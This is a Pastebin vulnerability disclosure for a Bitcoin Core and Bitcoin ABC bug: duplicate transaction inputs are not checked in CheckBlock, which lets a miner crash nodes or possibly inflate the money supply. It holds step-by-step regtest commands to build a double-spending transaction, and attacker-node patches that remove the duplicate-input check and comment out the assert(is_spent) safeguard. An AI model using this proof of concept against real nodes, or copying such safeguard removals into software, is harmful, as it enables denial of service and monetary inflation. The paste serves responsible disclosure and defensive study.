API tools faq
paste
Advertisement
Guest User

Bitcoin Core BTC inflation and DoS bug

a guest
Sep 22nd, 2018
689
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.79 KB | None | 0 0
raw download clone embed print report
  1. Problem description:
  2.  
  3. The following, miner-exploitable zero day has been found in Bitcoin ABC as
  4. well as in Bitcoin Core:
  5.  
  6. Duplicate inputs are not checked in CheckBlock,
  7. only when they are accepted into the mempool.
  8.  
  9. This creates a problem insofar as a transaction might bypass
  10. the mempool when it is included in a block, for example if
  11. it is transmitted as an extra transaction along with a compact
  12. block.
  13.  
  14. A later assertion assert(is_spent) in SpendCoins (in validation.cpp)
  15. seems to prevent the worse outcome of monetary inflation by
  16. the comparatively better result of crashing the node.
  17.  
  18. To reproduce (Description is for Bitcoin ABC, but applies similarly to
  19. Bitcoin Core):
  20.  
  21. Create one instance of ABC bitcoind without the patch below
  22. applied (A) and create on instance of ABC with the patch applied (B).
  23. The patch removes sending of transactions and testing for double-spent
  24. inputs for the attacker node.
  25.  
  26. Run both in regtest mode and point them to different data directories,
  27. like so and connect them together:
  28. A: ./bitcoind -regtest -rpcport=15000 -listen -debug -datadir=/tmp/abc.1
  29. B: ./bitcoind -regtest -rpcport=15001 -connect=localhost -debug -datadir=/tmp/abc.2
  30.  
  31. Now on the prepared attacker node B, create a bunch of blocks and a transaction
  32. that double-spends its input, like so for example:
  33.  
  34. > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 generate 200
  35.  
  36. > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 getnewaddress
  37. <address>
  38.  
  39. > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendtoaddress <address>
  40. <resulting-txid>
  41.  
  42. > ./bitcoin-tx -regtest -create in=<resulting-txid>:<vout> in=<resulting-txid>:<vout> outaddr=99.9:<address>
  43. <resulting-txn-hex>
  44.  
  45. The double entry of the input here is not a typo. This is the desired
  46. double-spend.
  47.  
  48. Sign the resulting transaction hex like so:
  49.  
  50. > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 signrawtransaction <txid>
  51. <signed-txn-hex>
  52.  
  53. For Core, this step needs to be adapted to signrawtransactionwithkey.
  54. And send the result into the small regtest test netwrok:
  55. > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendrawtransaction <signed-txn-hex>
  56.  
  57. Voila, your node A should have just aborted like this:
  58.  
  59. bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const CTransaction&, CTxUndo&, int): Assertion `is_spent' failed.
  60. Aborted (core dumped)
  61.  
  62. If you like this work or want to pay out a bounty for finding a zero day,
  63. please do so in BCH to this address. Thank you very much in advance.
  64.  
  65. bitcoincash:qr5yuq3q40u7mxwqz6xvamkfj8tg45wyus7fhqzug5
  66.  
  67.  
  68. The patch for ABC:
  69.  
  70. diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
  71. index ee909deb9..ff7942361 100644
  72. --- a/src/consensus/tx_verify.cpp
  73. +++ b/src/consensus/tx_verify.cpp
  74. @@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction &tx,
  75.  
  76. // Check for duplicate inputs - note that this check is slow so we skip it
  77. // in CheckBlock
  78. - if (fCheckDuplicateInputs) {
  79. + if (0) {
  80. std::set<COutPoint> vInOutPoints;
  81. for (const auto &txin : tx.vin) {
  82. if (!vInOutPoints.insert(txin.prevout).second) {
  83. diff --git a/src/net_processing.cpp b/src/net_processing.cpp
  84. index e4ecc793c..ee1cc3cda 100644
  85. --- a/src/net_processing.cpp
  86. +++ b/src/net_processing.cpp
  87. @@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config &config, CNode *pfrom,
  88. // however we MUST always provide at least what the
  89. // remote peer needs.
  90. typedef std::pair<unsigned int, uint256> PairType;
  91. - for (PairType &pair : merkleBlock.vMatchedTxn) {
  92. - connman->PushMessage(
  93. - pfrom,
  94. - msgMaker.Make(NetMsgType::TX,
  95. - *block.vtx[pair.first]));
  96. - }
  97. }
  98. // else
  99. // no response
  100. @@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config &config, CNode *pfrom,
  101. bool push = false;
  102. auto mi = mapRelay.find(inv.hash);
  103. int nSendFlags = 0;
  104. - if (mi != mapRelay.end()) {
  105. - connman->PushMessage(
  106. - pfrom,
  107. - msgMaker.Make(nSendFlags, NetMsgType::TX, *mi->second));
  108. - push = true;
  109. - } else if (pfrom->timeLastMempoolReq) {
  110. - auto txinfo = mempool.info(inv.hash);
  111. - // To protect privacy, do not answer getdata using the
  112. - // mempool when that TX couldn't have been INVed in reply to
  113. - // a MEMPOOL request.
  114. - if (txinfo.tx &&
  115. - txinfo.nTime <= pfrom->timeLastMempoolReq) {
  116. - connman->PushMessage(pfrom,
  117. - msgMaker.Make(nSendFlags,
  118. - NetMsgType::TX,
  119. - *txinfo.tx));
  120. - push = true;
  121. - }
  122. - }
  123. if (!push) {
  124. vNotFound.push_back(inv);
  125. }
  126. diff --git a/src/validation.cpp b/src/validation.cpp
  127. index a31546432..a9edbb956 100644
  128. --- a/src/validation.cpp
  129. +++ b/src/validation.cpp
  130. @@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &view, const CTransaction &tx, CTxUndo &txundo,
  131. for (const CTxIn &txin : tx.vin) {
  132. txundo.vprevout.emplace_back();
  133. bool is_spent = view.SpendCoin(txin.prevout, &txundo.vprevout.back());
  134. - assert(is_spent);
  135. + //assert(is_spent);
  136. }
  137. }
  138.  
  139.  
  140. ----
  141. The same patch for Core:
  142.  
  143. diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
  144. index 0628ec1d4..a06f77f8b 100644
  145. --- a/src/consensus/tx_verify.cpp
  146. +++ b/src/consensus/tx_verify.cpp
  147. @@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction& tx, CValidationState &state, bool fChe
  148. }
  149.  
  150. // Check for duplicate inputs - note that this check is slow so we skip it in CheckBlock
  151. - if (fCheckDuplicateInputs) {
  152. + if (0) {
  153. std::set<COutPoint> vInOutPoints;
  154. for (const auto& txin : tx.vin)
  155. {
  156. diff --git a/src/net_processing.cpp b/src/net_processing.cpp
  157. index b48a3bd22..9b7fb5839 100644
  158. --- a/src/net_processing.cpp
  159. +++ b/src/net_processing.cpp
  160. @@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom, const CChainParams& chainparams, c
  161. // Thus, the protocol spec specified allows for us to provide duplicate txn here,
  162. // however we MUST always provide at least what the remote peer needs
  163. typedef std::pair<unsigned int, uint256> PairType;
  164. - for (PairType& pair : merkleBlock.vMatchedTxn)
  165. - connman->PushMessage(pfrom, msgMaker.Make(SERIALIZE_TRANSACTION_NO_WITNESS, NetMsgType::TX, *pblock->vtx[pair.first]));
  166. }
  167. // else
  168. // no response
  169. @@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const CChainParams& chainparams, CConnm
  170. bool push = false;
  171. auto mi = mapRelay.find(inv.hash);
  172. int nSendFlags = (inv.type == MSG_TX ? SERIALIZE_TRANSACTION_NO_WITNESS : 0);
  173. - if (mi != mapRelay.end()) {
  174. - connman->PushMessage(pfrom, msgMaker.Make(nSendFlags, NetMsgType::TX, *mi->second));
  175. - push = true;
  176. - } else if (pfrom->timeLastMempoolReq) {
  177. - auto txinfo = mempool.info(inv.hash);
  178. - // To protect privacy, do not answer getdata using the mempool when
  179. - // that TX couldn't have been INVed in reply to a MEMPOOL request.
  180. - if (txinfo.tx && txinfo.nTime <= pfrom->timeLastMempoolReq) {
  181. - connman->PushMessage(pfrom, msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx));
  182. - push = true;
  183. - }
  184. - }
  185. if (!push) {
  186. vNotFound.push_back(inv);
  187. }
  188. diff --git a/src/validation.cpp b/src/validation.cpp
  189. index 947192be0..66536af24 100644
  190. --- a/src/validation.cpp
  191. +++ b/src/validation.cpp
  192. @@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction& tx, CCoinsViewCache& inputs, CTxUndo &txund
  193. for (const CTxIn &txin : tx.vin) {
  194. txundo.vprevout.emplace_back();
  195. bool is_spent = inputs.SpendCoin(txin.prevout, &txundo.vprevout.back());
  196. - assert(is_spent);
  197. + //assert(is_spent);
  198. }
  199. }
  200. // add outputs
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!